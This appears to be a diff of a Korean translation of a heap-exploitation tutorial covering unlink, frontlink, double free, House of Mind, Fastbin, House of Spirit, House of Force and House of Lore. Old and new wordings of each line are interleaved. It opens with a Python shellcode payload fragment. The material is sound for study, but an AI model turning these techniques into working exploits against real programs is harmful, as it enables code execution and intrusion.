**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #8바이트 패딩으로 페이로드 시작**
|
||||
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #두 번째 청크를 수정하고, got\_free는 addr\_sc + 12 주소를 저장할 곳을 가리키게 함**
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #2번째 조각 수정, got\_free는 addr\_sc 주소를 저장할 위치를 가리킴(주소에 12를 더함)**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() liberando en sentido inverso (wargame)**
|
||||
**unset() 역방향으로 해제(wargame)**
|
||||
|
||||
우리는 연속적으로 3개의 청크를 제어하고, 역순으로 해제됩니다.
|
||||
우리는 3개의 연속적인 청크를 제어하고 예약된 순서의 역순으로 해제됩니다.
|
||||
|
||||
이 경우:
|
||||
|
||||
청크 c에 shellcode를 넣습니다.
|
||||
청크 c에 쉘코드를 넣습니다.
|
||||
|
||||
청크 a를 사용하여 b를 덮어쓰기하여 size가 PREV\_INUSE 비트가 꺼져 있어 청크 a가 비어 있다고 생각하게 합니다.
|
||||
청크 a를 사용하여 b를 덮어쓰는데, 이때 사이즈 비트 PREV\_INUSE를 비활성화하여 청크 a가 비어 있다고 생각하게 합니다.
|
||||
|
||||
또한, 헤더 b의 size를 -4로 덮어씁니다.
|
||||
또한, 헤더 b에 사이즈를 -4로 덮어씁니다.
|
||||
|
||||
그러면 프로그램은 "a"가 비어 있고 bin에 있는 것으로 생각하여 unlink()를 호출합니다. 그러나 헤더 PREV\_SIZE가 -4이므로 "a" 청크가 실제로 b+4에서 시작한다고 생각합니다. 즉, unlink()를 b+4에서 시작하는 청크에 대해 호출하게 되어 b+12에는 "fd" 포인터가 있고 b+16에는 "bk" 포인터가 있습니다.
|
||||
그러면 프로그램은 "a"가 비어 있고 bin에 있는 것으로 생각하여 unlink()를 호출하여 해제합니다. 그러나 헤더 PREV\_SIZE가 -4이므로 "a" 조각이 실제로 b+4에서 시작한다고 생각합니다. 즉, b+4에서 unlink()를 수행하게 되며, 여기서 b+12에는 "fd" 포인터가 있고 b+16에는 "bk" 포인터가 있습니다.
|
||||
|
||||
따라서 bk에는 shellcode 주소를 넣고 fd에는 "puts()" 함수 주소-12를 넣으면 페이로드가 완성됩니다.
|
||||
이렇게 하면 bk에 쉘코드 주소를 넣고 fd에 "puts()" 함수 주소-12를 넣으면 페이로드가 완성됩니다.
|
||||
|
||||
**Frontlink 기술**
|
||||
|
||||
해제된 것이 있고 인접한 청크가 모두 비어 있지 않은 경우 unlink()가 호출되지 않고 직접 frontlink()가 호출됩니다.
|
||||
해제된 것이 있고 인접한 청크가 모두 비어 있지 않으면 unlink()가 호출되지 않고 직접 frontlink()가 호출됩니다.
|
||||
|
||||
공격 대상이 되는 malloc이 결코 해제되지 않는 경우에 유용한 취약점입니다.
|
||||
공격 대상 malloc이 해제(free())되지 않는 경우 유용한 취약점입니다.
|
||||
|
||||
필요한 것:
|
||||
|
||||
데이터 입력 함수로 오버플로우가 발생할 수 있는 버퍼
|
||||
|
||||
해제되어야 하는 인접한 버퍼로 이전 버퍼의 오버플로우로 인해 헤더의 fd 필드가 수정될 수 있음
|
||||
해제되어야 하는 인접한 버퍼로 이전 버퍼의 오버플로우로 인해 헤더의 fd 필드가 수정됨
|
||||
|
||||
512보다 크고 이전 버퍼보다 작은 크기의 버퍼
|
||||
|
||||
3단계 이전에 선언된 버퍼로 이 버퍼의 prev\_size를 덮어쓸 수 있어야 함
|
||||
3단계 이전에 선언된 버퍼로 이 버퍼의 prev\_size를 덮어쓸 수 있는 버퍼
|
||||
|
||||
이렇게 함으로써 두 개의 malloc을 무작위로 덮어쓰고 하나는 제어된 상태로 해제되는 취약점을 이용할 수 있습니다.
|
||||
이렇게 함으로써 두 개의 malloc을 무작위로 덮어쓰고 하나는 제어된 상태로 해제되는 방식으로 exploit을 수행할 수 있습니다.
|
||||
|
||||
**Double free() 취약점**
|
||||
**이중 free() 취약점**
|
||||
|
||||
동일한 포인터로 두 번 free()를 호출하면 두 개의 bin이 동일한 주소를 가리킵니다.
|
||||
|
||||
하나를 다시 사용하려면 문제가 없이 할당됩니다. 다른 것을 사용하려면 이전 예약이 작성한 데이터로 fd 및 bk 포인터가 왜곡됩니다.
|
||||
하나를 다시 사용하려면 문제가 없이 할당됩니다. 다른 것을 사용하려면 동일한 공간이 할당되므로 이전 예약에 의해 작성된 데이터로 "fd" 및 "bk" 포인터가 왜곡됩니다.
|
||||
|
||||
**After free()**
|
||||
|
||||
이전에 해제된 포인터가 제어 없이 다시 사용됩니다.
|
||||
|
||||
## **8 힙 오버플로우: 고급 익스플로잇**
|
||||
## **8 힙 오버플로우: 고급 Exploits**
|
||||
|
||||
unlink() 및 FrontLink() 기술은 unlink() 함수를 수정함으로써 제거되었습니다.
|
||||
|
||||
**The house of mind**
|
||||
|
||||
임의의 코드 실행을 유발하기 위해 free()를 한 번 호출하는 것만으로 충분합니다. 이전 버퍼에 의해 오버플로우되고 해제될 수 있는 두 번째 청크를 찾는 것이 중요합니다.
|
||||
임의의 코드 실행을 유발하기 위해 free()를 한 번 호출하는 것만으로 충분합니다. 이전에 오버플로우된 다음 해제될 수 있는 두 번째 청크를 찾아야 합니다.
|
||||
|
||||
free() 호출은 public\_fREe(mem)을 호출하게 되며 다음을 수행합니다:
|
||||
free() 호출은 public\_fREe(mem)을 호출하게 되며, 이는 다음과 같이 작동합니다:
|
||||
|
||||
mstate ar\_ptr;
|
||||
|
||||
|
@ -386,7 +349,7 @@ mchunkptr p;
|
|||
|
||||
…
|
||||
|
||||
p = mem2chunk(mes); —> 청크가 시작하는 주소를 가리키는 포인터를 반환합니다 (mem-8)
|
||||
p = mem2chunk(mes); —> 청크가 시작하는 위치를 가리키는 포인터를 반환합니다(mem-8)
|
||||
|
||||
…
|
||||
|
||||
|
@ -398,9 +361,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
|
|||
|
||||
}
|
||||
|
||||
\[1]에서 NON\_MAIN\_ARENA 비트를 확인하여 true를 반환하고 heap\_for\_ptr()를 실행할 수 있도록 변경할 수 있습니다. 이렇게 하면 0x0804a000에 청크를 제어할 수 있고 **0x081002a0**에 청크를 해제할 수 있습니다. 이 경우 0x08100000 주소로 이동하여 원하는 내용을 쓸 수 있습니다. 예를 들어 **0x0804a000**을 쓸 수 있습니다. 두 번째 청크가 해제될 때 heap\_for\_ptr(ptr)->ar\_ptr이 0x08100000에 쓴 내용을 반환합니다 (0x081002a0에 and 연산을 적용하고 그 값의 처음 4바이트 값을 가져와서 ar\_ptr로 사용함).
|
||||
\[1]에서 size 비트 NON\_MAIN\_ARENA를 확인하여 true를 반환하고 heap\_for\_ptr()를 실행할 수 있도록 변경할 수 있으며, 이는 "mem"에 AND를 적용하여 가장 중요하지 않은 2.5바이트를 0으로 만들고 0x08000000에 액세스하여 0x08000000->ar\_ptr(구조체 heap\_info처럼)에 액세스합니다.
|
||||
|
||||
\_int\_free(ar\_ptr, mem)를 호출하게 되며, **\_int\_free(0x0804a000, 0x081002a0)**가 됩니다.\
|
||||
따라서 예를 들어 0x0804a000에 청크를 제어하고 0x081002a0에 청크를 해제할 때 0x08100000으로 이동하여 원하는 내용(예: 0x0804a000)을 쓸 수 있습니다. 두 번째 청크가 해제될 때 heap\_for\_ptr(ptr)->ar\_ptr이 0x08100000에 쓴 내용을 반환할 것입니다(0x081002a0에 이전에 본 AND를 적용하고 거기서 처음 4바이트 값을 가져오기 때문입니다, ar\_ptr).
|
||||
|
||||
이렇게 하면 \_int\_free(ar\_ptr, mem)가 호출되며, 즉, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
…\
|
||||
bck = unsorted\_chunks(av);\
|
||||
|
@ -412,7 +377,7 @@ fwd->bk = p;
|
|||
|
||||
..}
|
||||
|
||||
앞서 본 대로 av의 값을 제어할 수 있으므로 청크가 해제될 때 쓴 값을 제어할 수 있습니다.
|
||||
앞에서 본 대로 av의 값을 제어할 수 있으므로, 해제될 청크에 쓴 내용을 제어할 수 있습니다.
|
||||
|
||||
unsorted\_chunks가 정의된 대로 알 수 있습니다:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
|
@ -421,88 +386,86 @@ fwd->bk = \*(av->bins\[2] + 12) = p;
|
|||
|
||||
따라서 av->bins\[2]에 \_\_DTOR\_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR\_END\_\_에 두 번째 청크의 주소가 쓰입니다.
|
||||
|
||||
즉, 첫 번째 청크의 시작 부분에 여러 번 \_\_DTOR\_END\_\_-12 주소를 넣어야 합니다. av->bins\[2]에서 이 주소를 가져오기 때문입니다.
|
||||
즉, 첫 번째 청크의 시작 부분에 많은 횟수로 \_\_DTOR\_END\_\_-12의 주소를 넣어야 합니다. 왜냐하면 av->bins\[2]에서 이 값을 가져오기 때문입니다.
|
||||
|
||||
두 번째 청크의 주소가 떨어지는 곳에 마지막 5자리 0이 있는 곳에 첫 번째 청크의 주소를 써야 합니다. 그러면 heap\_for\_ptr()가 ar\_ptr이 첫 번째 청크의 시작 부분에 있다고 생각하고 av->bins\[2]를 가져올 것입니다.
|
||||
두 번째 청크의 주소가 떨어지는 위치에 첫 번째 청크의 주소를 써야 하며, heap\_for\_ptr()가 ar\_ptr이 첫 번째 청크의 시작 부분에 있다고 생각하고 거기서 av->bins\[2]를 가져오기 때문입니다.
|
||||
두 번째 조각에서 첫 번째를 통해 prev\_size를 jump 0x0c로 덮어쓰고 size를 NON\_MAIN\_ARENA를 활성화하기 위한 값으로 덮어씁니다.
|
||||
|
||||
두 번째 청크에서 첫 번째 청크의 prev\_size를 jump 0x0c로 덮어쓰고 size를 NON\_MAIN\_ARENA로 활성화합니다.
|
||||
다음으로 조각 2에는 많은 nops를 넣고 마지막으로 쉘코드를 넣습니다.
|
||||
|
||||
그런 다음 두 번째 청크에 많은 nops를 넣고 마지막으로 shellcode를 넣습니다.
|
||||
이렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고 \_\_DTOR\_END\_\_에 TROZO2의 prev\_size 주소가 쓰여 쉘코드로 이동합니다.
|
||||
|
||||
이렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고 \_\_DTOR\_END\_\_의 주소가 TROZO2의 prev\_size로 쓰여 shellcode로 이동합니다.
|
||||
이 기술을 적용하려면 페이로드를 약간 더 복잡하게 만드는 몇 가지 요구 사항을 충족해야합니다.
|
||||
이 기술을 적용하려면 페이로드를 약간 더 복잡하게 만드는 몇 가지 요구 사항을 충족해야 합니다.
|
||||
|
||||
이 기술은 더 이상 적용되지 않습니다. unlink에 대한 거의 동일한 패치가 적용되었습니다. 새로운 대상 사이트가 자신을 가리키고 있는지 확인됩니다.
|
||||
이 기술은 unlink에 적용된 거의 동일한 패치가 적용되어 더 이상 적용할 수 없습니다. 새로운 대상이 가리키는 새 위치가 자신을 가리키는지 확인합니다.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
The house of mind의 변형입니다.
|
||||
|
||||
우리는 \_int\_free() 함수의 첫 번째 확인 후에 도달하는 다음 코드를 실행하는 것에 관심이 있습니다.
|
||||
\_int\_free() 함수의 첫 번째 확인 후에 실행되는 코드에 도달하는 것이 중요합니다.
|
||||
|
||||
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
...
|
||||
…
|
||||
|
||||
p->fd = \*fb
|
||||
|
||||
\*fb = p
|
||||
|
||||
이렇게하면 "fb"에 함수의 주소가 제공되며,이 주소에 덮어 쓰여진 조각의 주소가 들어갑니다. 이를 위해 아레나가 dtors 주소 근처에 있어야합니다. 더 정확히 말하면 av->max\_fast가 덮어쓸 주소에 있어야합니다.
|
||||
이렇게 하면 "fb"에는 GOT 내의 함수 주소가 들어가게 되며, 이 주소에 덮어쓸 대상의 주소가 들어갑니다. 이를 위해는 arena가 dtors 주소 근처에 있어야 합니다. 구체적으로 av->max\_fast가 덮어쓸 주소에 있어야 합니다.
|
||||
|
||||
The House of Mind에서 우리가 av의 위치를 제어할 수 있다는 것을 알았기 때문에.
|
||||
The House of Mind에서 우리가 av의 위치를 제어할 수 있다는 것을 알게 되었기 때문에, size 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE를 넣으면 fastbin\_index()가 fastbins\[-1]을 반환하게 되고 이는 av->max\_fast를 가리킵니다.
|
||||
|
||||
따라서 크기 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE 크기를 넣으면 fastbin\_index()가 fastbins\[-1]을 반환하고 av->max\_fast를 가리키게됩니다.
|
||||
여기서 av->max\_fast가 덮어쓰여야 합니다(가리키는 것이 아니라 덮어쓰여야 합니다).
|
||||
|
||||
이 경우 av->max\_fast가 덮어쓰여질 주소가됩니다 (가리키는 것이 아니라 덮어쓰여질 위치가됩니다).
|
||||
또한, 해제된 연속 조각이 8보다 커야 합니다. 해제된 조각의 크기가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어가므로, 처음에는 nops로 이어지는 jmp를 넣어야 합니다).
|
||||
|
||||
또한 해제된 조각 옆에 연속적인 조각이 8보다 커야합니다. 우리가 해제된 조각의 크기가 8이라고 말했기 때문에, 이 가짜 조각에는 8보다 큰 크기를 넣어야합니다 (또한 셸코드가 해제된 조각에 들어갈 것이므로, 처음에는 nops로 떨어지는 jmp를 넣어야합니다).
|
||||
또한, 이 가짜 조각은 av->system\_mem보다 작아야 합니다. av->system\_mem은 해당 위치에서 1848바이트 떨어져 있습니다.
|
||||
|
||||
또한, 동일한 가짜 조각은 av->system\_mem보다 작아야합니다. av->system\_mem은 1848 바이트 떨어진 곳에 있습니다.
|
||||
\_DTOR\_END\_의 널 값과 GOT의 적은 주소 때문에 이러한 섹션의 어떤 주소도 덮어쓰기에 적합하지 않으므로, 힙 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴봅니다.
|
||||
|
||||
\_DTOR\_END\_의 널 값과 GOT의 적은 주소로 인해 이러한 섹션의 어떤 주소도 덮어쓰기에 적합하지 않습니다. 따라서 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴 봅시다.
|
||||
다른 공격 방법은 **av**를 스택으로 리다이렉션하는 것입니다.
|
||||
|
||||
다른 공격 방법은 **av**를 스택으로 리디렉션하는 것입니다.
|
||||
size를 8이 아닌 16으로 수정하면 fastbin\_index()가 fastbins\[0]을 반환하고 이를 사용하여 스택을 덮어쓸 수 있습니다.
|
||||
|
||||
크기를 8 대신 16으로 변경하여 fastbin\_index()가 fastbins\[0]을 반환하고 이를 사용하여 스택을 덮어 쓸 수 있습니다.
|
||||
이를 위해 스택에 canary나 이상한 값이 없어야 하며, 실제로 4바이트 널 + EBP + RET 위치에 있어야 합니다.
|
||||
|
||||
이를 위해 스택에 canary나 이상한 값이 없어야하며 실제로 여기에 있어야합니다: 4바이트 널 + EBP + RET
|
||||
4바이트 널은 **av**가 이 위치를 가리킬 것이고, **av**의 첫 번째 요소는 0이어야 합니다.
|
||||
|
||||
4 바이트 널은 **av**가이 주소에 있어야하며 **av**의 첫 번째 요소는 0이어야하는 mutex입니다.
|
||||
**av->max\_fast**는 EBP가 되며, 이는 제한을 우회하는 데 사용될 값입니다.
|
||||
|
||||
**av->max\_fast**는 EBP가되며 제한 사항을 우회하는 데 사용되는 값입니다.
|
||||
**av->fastbins\[0]**에는 **p**의 주소가 덮어쓰이고 RET이 되어 쉘코드로 이동합니다.
|
||||
|
||||
**av->fastbins\[0]**에는 **p**의 주소가 덮어쓰여지고 RET이되며, 이렇게하면 셸코드로 이동합니다.
|
||||
또한, **av->system\_mem**(스택 위치에서 1484바이트 위)에는 우리가 수행하는 확인을 우회할 수 있는 충분한 쓰레기가 있어야 합니다.
|
||||
|
||||
또한 **av->system\_mem**(스택 위치에서 1484 바이트 떨어진 곳)에는 우리가 수행하는 확인을 우회 할 수있는 충분한 쓰레기가 있어야합니다.
|
||||
|
||||
또한 해제된 조각 옆에 연속적인 조각이 8보다 커야합니다 -> 우리가 해제된 조각의 크기가 16이라고 말했기 때문에,이 가짜 조각에는 8보다 큰 크기를 넣어야합니다 (또한 셸코드가 해제된 조각에 들어갈 것이므로, 새로운 가짜 조각의 크기 필드 뒤에 오는 nops로 떨어지는 jmp를 넣어야합니다).
|
||||
또한, 해제된 연속 조각이 8보다 커야 합니다. 해제된 조각의 크기가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어가므로, 처음에는 새로운 가짜 조각의 size 필드 뒤에 나오는 nops로 이어지는 jmp를 넣어야 합니다).
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
이 경우에는 공격자가 조작 가능한 malloc 포인터를 가지고 있는 malloc을 찾습니다 (예 : 포인터가 변수의 오버플로우 아래 스택에 있는 경우).
|
||||
이 경우에는 공격자가 조작 가능한 malloc 포인터(예: 오버플로우 가능한 변수 아래 스택에 있는 포인터)를 가지고 싶습니다.
|
||||
|
||||
따라서이 포인터가 원하는 곳을 가리키도록 할 수 있습니다. 그러나 모든 위치가 유효한 것은 아닙니다. 가짜 조각의 크기는 av->max\_fast보다 작아야하며 미래의 malloc() 호출에 요청 된 크기와 정확히 같아야합니다. 따라서이 취약한 포인터 뒤에 malloc(40)이 호출된다고 알고 있다면 가짜 조각의 크기는 48과 같아야합니다.
|
||||
따라서 이 포인터를 원하는 곳으로 지시할 수 있습니다. 그러나 어디든지 가능한 것은 아닙니다. 가짜 조각의 크기는 av->max\_fast보다 작아야 하며, 더 구체적으로는 미래의 malloc() 호출에 요청된 크기에 8을 더한 것과 동일해야 합니다. 따라서, 이 취약한 포인터 뒤에 malloc(40)이 호출된다는 것을 알고 있다면, 가짜 조각의 크기는 48과 같아야 합니다.
|
||||
|
||||
예를 들어 프로그램이 사용자에게 숫자를 묻는 경우 48을 입력하고 malloc 포인터를 수정 가능한 다음 4바이트로 지정할 수 있습니다 (운이 좋다면 EBP에 속할 수 있음, 따라서 48은 뒤에 남아 있습니다. 크기 헤더처럼). 또한 ptr-4+48 주소는 여러 조건을 충족해야합니다 (이 경우 ptr = EBP), 즉 8 < ptr-4+48 < av->system\_mem.
|
||||
예를 들어 프로그램이 사용자에게 숫자를 물어보는 경우 48을 입력하고 malloc 포인터를 수정 가능한 다음 4바이트로 지시할 수 있습니다(운이 좋다면 EBP에 속할 수 있으므로, 48이 뒤에 남게 됩니다). 또한, ptr-4+48 주소는 여러 조건을 충족해야 합니다(이 경우 ptr=EBP), 즉 8 < ptr-4+48 < av->system\_mem 여야 합니다.
|
||||
|
||||
이 조건이 충족되면 우리가 말한 malloc(40)을 호출하면 EBP의 주소가 할당됩니다. 공격자가이 malloc에 쓰여진 내용을 제어 할 수있는 경우 EBP 및 EIP를 원하는 주소로 덮어 쓸 수 있습니다.
|
||||
이 조건이 충족되면, 우리가 말한 malloc(40)을 호출할 때 EBP 주소가 할당되며, 공격자가 이 malloc에 쓸 내용을 제어할 수 있다면 EBP와 EIP를 원하는 주소로 덮어쓸 수 있습니다.
|
||||
|
||||
이것은 free()가 스택의 EBP를 가리키는 주소에 새로운 malloc()에 대한 완벽한 크기의 조각이있음을 저장하기 때문이라고 생각합니다. 따라서이 주소를 할당합니다.
|
||||
이것은 free()가 스택의 EBP를 가리키는 주소에 새로운 malloc()에 대한 완벽한 크기의 조각이 있다는 것을 저장하기 때문이라고 생각합니다.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
필요한 것:
|
||||
다음이 필요합니다:
|
||||
|
||||
* wilderness를 덮어 쓸 수있는 조각의 오버플로우
|
||||
* 사용자가 정의 한 크기로 malloc()를 호출
|
||||
* 사용자가 정의 한 데이터로 malloc()를 호출
|
||||
* wilderness를 덮어쓸 수 있는 조각의 오버플로우
|
||||
* 사용자가 정의한 크기로 malloc() 호출
|
||||
* 사용자가 정의한 데이터로 malloc() 호출
|
||||
|
||||
첫 번째로 wilderness 조각의 크기를 매우 큰 값 (0xffffffff)으로 덮어 씁니다. 따라서 충분히 큰 메모리 요청은 힙을 확장하지 않고 \_int\_malloc()에서 처리됩니다.
|
||||
첫 번째로 wilderness 조각의 크기를 매우 큰 값(0xffffffff)으로 덮어씁니다. 따라서 충분히 큰 메모리 요청은 힙을 확장할 필요 없이 \_int\_malloc()에서 처리됩니다.
|
||||
|
||||
두 번째로 av->top을 공격자가 제어하는 메모리 영역 (예 : 스택)을 가리키도록 변경합니다. av->top에 \&EIP - 8이 들어갑니다.
|
||||
두 번째로, av->top을 공격자가 제어하는 메모리 영역(예: 스택)을 가리키도록 변경합니다. av->top에는 \&EIP - 8이 들어갑니다.
|
||||
|
||||
공격자가 제어하는 메모리 영역을 가리키도록 av->top을 덮어 씌워야합니다:
|
||||
공격자가 제어하는 메모리 영역을 가리키도록 av->top을 덮어씁니다:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
|
@ -510,57 +473,85 @@ remainder = chunck\_at\_offset(victim, nb);
|
|||
|
||||
av->top = remainder;
|
||||
|
||||
Victim은 현재 wilderness 조각의 주소 (현재 av->top)를 수집하고 remainder는 해당 주소와 malloc()에 의해 요청 된 바이트 수의 합입니다. 따라서 \&EIP-8이 0xbffff224에 있고 av->top에 0x080c2788이 포함되어 있으면 다음 malloc()에 대한 av->top이 $EIP-8을 가리키도록 제어 된 malloc에 예약해야하는 바이트 수는 다음과 같습니다.
|
||||
victim은 현재 wilderness 조각의 주소(av->top)를 수집하고, remainder는 해당 주소와 malloc()에 의해 요청된 바이트 수를 더한 값입니다. 따라서, \&EIP-8이 0xbffff224에 있고 av->top에 0x080c2788이 포함되어 있다면, 다음 malloc()에 av->top이 \&EIP-8을 가리키도록 제어된 malloc()에 예약해야 하는 바이트 수는 다음과 같습니다:
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
따라서 변경된 값을 av->top에 저장하고 다음 malloc이 EIP를 가리키고 덮어 쓸 수 있습니다.
|
||||
이렇게 하면 변경된 값을 av->top에 저장하고 다음 malloc이 EIP를 가리키고 덮어쓸 수 있습니다.
|
||||
|
||||
새로운 wilderness 조각의 크기가 마지막 malloc()에 의해 요청 된 크기보다 커야합니다. 즉, wilderness가 \&EIP-8을 가리키고 있다면 크기는 스택의 EBP 필드에 정확히 있습니다.
|
||||
새로운 wilderness 조각의 크기가 마지막 malloc()에 의해 요청된 메모리보다 커야 합니다. wilderness가 \&EIP-8을 가리키고 있으면, 크기는 정확히 스택의 EBP 필드에 위치합니다.
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
**SmallBin 손상**
|
||||
|
||||
해제 된 조각은 크기에 따라 bin에 넣습니다. 그러나 unsorted bins에 먼저 저장됩니다. 조각이 해제되면 즉시 해당 bin에 넣지 않고 unsorted bins에 유지됩니다. 그런 다음 새로운 조각을 예약하고 이전에 해제 된 조각이 유용하면 반환되지만 더 큰 조각을 예약하면 unsorted bins에있는 해제 된 조각이 해당하는 적절한 bin에 넣습니다.
|
||||
해제된 조각은 크기에 따라 bin에 넣습니다. 그러나 unsorted bins에 먼저 저장됩니다. 조각이 해제되면 즉시 해당 bin에 넣는 대신 unsorted bins에 남아 있습니다. 그런 다음 새로운 조각을 예약하고 이전에 해제된 조각을 사용할 수 있는 경우 반환하지만 더 큰 조각을 예약하면 unsorted bins에 있던 조각이 해당 적절한 bin에 들어갑니다.
|
||||
|
||||
취약한 코드에 도달하려면 메모리 요청은 av->max\_fast (보통 72)보다 크고 MIN\_LARGE\_SIZE (512)보다 작아야합니다.
|
||||
취약한 코드에 도달하려면 메모리 요청이 av->max\_fast(보통 72)보다 크고 MIN\_LARGE\_SIZE(512)보다 작아야 합니다.
|
||||
만약 bin에 요청된 크기에 적합한 조각이 있다면 그것을 unlink한 후 반환합니다:
|
||||
|
||||
bin에 요청 된 크기에 적합한 조각이있는 경우 해당 조각을 해제 한 후 다음을 수행합니다:
|
||||
bck = victim->bk; 이전 조각을 가리키며, 우리가 변경할 수 있는 유일한 정보입니다.
|
||||
|
||||
bck = victim->bk; 이전 조각을 가리키는 유일한 정보입니다.
|
||||
bin->bk = bck; 뒤에서 두 번째 조각이 마지막이 되며, bck가 스택을 가리키고 있다면 다음 할당된 조각에 이 주소가 제공됩니다.
|
||||
|
||||
bin->bk = bck; 두 번째로 마지막 조각이되며 bck가 스택을 가리키면 다음 예약 된 조각이이 주소를받습니다.
|
||||
|
||||
bck->fd = bin;이 bin을 가리키도록하여 목록을 닫습니다.
|
||||
bck->fd = bin; 이를 통해 리스트가 닫히고 이것이 bin을 가리키게 됩니다.
|
||||
|
||||
필요한 것:
|
||||
공격자가 선택한 주소를 가리키는 할당된 malloc이 필요합니다.
|
||||
|
||||
목표는 해제된 상태이고 bin에 들어간 하단 조각 위에 오버플로우를 수행할 수 있는 힙을 만드는 것입니다. 이렇게 하면 bk 포인터를 수정하여 원하는 주소로 지정할 수 있습니다.
|
||||
두 개의 malloc을 할당해야 합니다. 두 번째 조각이 해제되고 bin에 들어간 후에 첫 번째 조각에 오버플로우를 할 수 있어야 합니다 (즉, 오버플로우하기 전에 두 번째 조각보다 큰 malloc을 할당해야 합니다).
|
||||
|
||||
수정된 조각을 해제한 후 해제된 것보다 큰 조각을 다시 할당해야 합니다. 이렇게 하면 수정된 조각이 unsorted bins에서 나와 해당 bin에 들어가게 됩니다.
|
||||
공격자가 제어할 수 있는 주소로 공격자가 선택한 주소를 가리키는 malloc이 필요합니다.
|
||||
|
||||
bin이 malloc()이 충분히 호출될 때까지 기다려야 하며 수정된 bin이 사용되어 bin을 속이고 다음 조각이 가짜 주소에 있다고 생각하게 합니다. 그런 다음 원하는 조각이 제공됩니다.
|
||||
목표는 다음과 같습니다. 해제된 bin 리스트의 아래에 이미 해제된 조각이 있는 힙에 오버플로우를 할 수 있다면, 그 조각의 bk 포인터를 변경할 수 있습니다. bk 포인터를 변경하고 해당 조각이 bin 리스트의 첫 번째가 되고 예약되면, bin은 속아서 bin 리스트의 마지막 조각이 (다음으로 제공될) 우리가 설정한 가짜 주소에 있다고 믿게 됩니다 (예: 스택 또는 GOT). 따라서 다른 조각을 다시 예약하고 공격자가 권한을 갖고 있다면, 원하는 위치에 조각이 제공되고 거기에 쓸 수 있습니다.
|
||||
|
||||
취약점이 가능한 빨리 실행되도록 하려면 다음이 이상적입니다: 취약한 조각 예약, 수정될 조각 예약, 이 조각 해제, 수정될 조각보다 큰 조각 다시 예약, 조각 수정 (취약점), 취약한 조각과 크기가 같은 다른 조각 예약, 그리고 선택한 주소를 가리킬 두 번째 조각 예약.
|
||||
수정된 조각을 해제한 후에 해제된 조각보다 큰 조각을 다시 예약해야 합니다. 그러면 수정된 조각이 unsorted bins에서 나오고 해당 bin에 들어갈 것입니다.
|
||||
|
||||
이 공격을 방어하기 위해 "가짜" 조각이 아닌지 확인하는 전형적인 확인이 사용됩니다: bck->fd가 victim을 가리키는지 확인합니다. 즉, 스택에 가짜 조각을 가리키는 bck->fd 포인터가 victim을 가리키는지 확인합니다. 이 보호를 우회하려면 공격자는 적절한 주소로 victim의 주소를 어떤 방식으로든 (아마도 스택을 통해) 쓸 수 있어야 합니다. 이렇게 하면 진짜 조각처럼 보일 수 있습니다.
|
||||
한 번 bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 원하는 주소를 가리키게 만들어야 합니다.
|
||||
|
||||
**LargeBin 손상**
|
||||
따라서 bin은 malloc()이 충분히 호출될 때까지 기다려야 하며 수정된 bin을 다시 사용하고 다음 조각이 가짜 주소에 있다고 속이고 그 다음에 우리가 원하는 조각을 얻을 것입니다.
|
||||
|
||||
이전과 같은 요구 사항과 추가 요구 사항이 필요하며, 예약된 조각은 512보다 큰 크기여야 합니다.
|
||||
취약점이 가능한 한 빨리 실행되도록하려면 다음이 이상적입니다: 취약한 조각 예약, 수정될 조각 예약, 해당 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정 (취약점), 취약한 조각과 같은 크기의 조각 예약, 그리고 취약한 조각과 같은 크기의 두 번째 조각을 예약하고 이것이 선택한 주소를 가리키게 합니다.
|
||||
|
||||
이전과 같이 공격해야 하지만 수정된 조각의 크기를 수정하여 size - nb가 < MINSIZE가 되도록해야 합니다.
|
||||
이 공격을 방어하기 위해 "거짓" 조각이 아닌 것을 확인하는 전형적인 확인이 사용되었습니다: bck->fd가 victim을 가리키는지 확인합니다. 즉, 우리의 경우 스택에 가짜로 가리키는 조각의 fd 포인터가 victim을 가리키는지 확인합니다. 이 보호를 우회하려면 공격자는 어떤 방식으로든 (아마도 스택을 통해) 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보일 것입니다.
|
||||
|
||||
예를 들어, 1552 크기를 넣어 1552 - 1544 = 8 < MINSIZE가 되도록해야 합니다. (부호 없는 값을 비교하므로 차이가 음수가 되면 안 됩니다)
|
||||
**Corrupción LargeBin**
|
||||
|
||||
이전과 동일한 요구 사항과 추가 요구 사항이 필요하며, 예약된 조각은 512보다 큰 크기여야 합니다.
|
||||
|
||||
이전과 같은 공격이며, bk 포인터를 수정해야 하며 모든 그 malloc() 호출이 필요하지만 수정된 조각의 크기를 수정해야 합니다. 즉, size - nb가 < MINSIZE여야 합니다.
|
||||
|
||||
예를 들어, size를 1552로 설정하여 1552 - 1544 = 8 < MINSIZE가 되도록합니다 (부호 없는 값을 비교하므로 음수가 되면 안됩니다).
|
||||
|
||||
또한 더 복잡하게 만드는 패치가 도입되었습니다.
|
||||
|
||||
**힙 스프레이**
|
||||
